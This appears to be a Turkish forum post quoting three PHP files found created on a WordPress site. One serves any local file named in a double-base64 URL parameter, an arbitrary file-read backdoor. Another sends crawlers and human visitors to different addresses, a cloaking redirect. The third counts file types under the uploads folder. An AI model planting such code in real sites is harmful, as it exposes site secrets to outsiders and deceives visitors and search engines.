Ayrıca 3 adet dosya oluşturmuştu. Onlarda aşağıda.
1. Download.php

<?php

    $file = explode('https://1siteadi.com/',base64_decode(base64_decode($_GET["url"])))[1];

    if (file_exists($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
?>

2.encode.php

<?php
function _bot_detected() {

    return (
      isset($_SERVER['HTTP_USER_AGENT'])
      && preg_match('/bot|crawl|slurp|spider|mediapartners/i', $_SERVER['HTTP_USER_AGENT'])
    );
  }
$url = base64_encode(base64_encode($_GET['url']));

if(_bot_detected()) {
    header("Location: https://1siteadi.com/download.php?url=".$url."&format=cryptic&t=MTU=");
}else{
    header("Location: https://1siteadi.com/downloads?url=".$url."&format=cryptic&t=MTU=");
}

3.Test PHP

<?php
$extem = [];
function listFolderFiles($dir){
    $ffs = scandir($dir);

    unset($ffs[array_search('.', $ffs, true)]);
    unset($ffs[array_search('..', $ffs, true)]);

    // prevent empty ordered elements
    if (count($ffs) < 1)
        return;

    
    foreach($ffs as $ff){
        
        $ext = pathinfo($ff, PATHINFO_EXTENSION);
        @$GLOBALS['extem'][$ext] = $GLOBALS['extem'][$ext] ? $GLOBALS['extem'][$ext]+1:1;
        if(is_dir($dir.'/'.$ff)) listFolderFiles($dir.'/'.$ff);
        
    }
    
}

listFolderFiles('./wp-content/uploads');
arsort($GLOBALS['extem']);

print_r($GLOBALS['extem']);
?>

Bütün bu kodlar sebebiyle embed dosya bu şekilde görünüyor.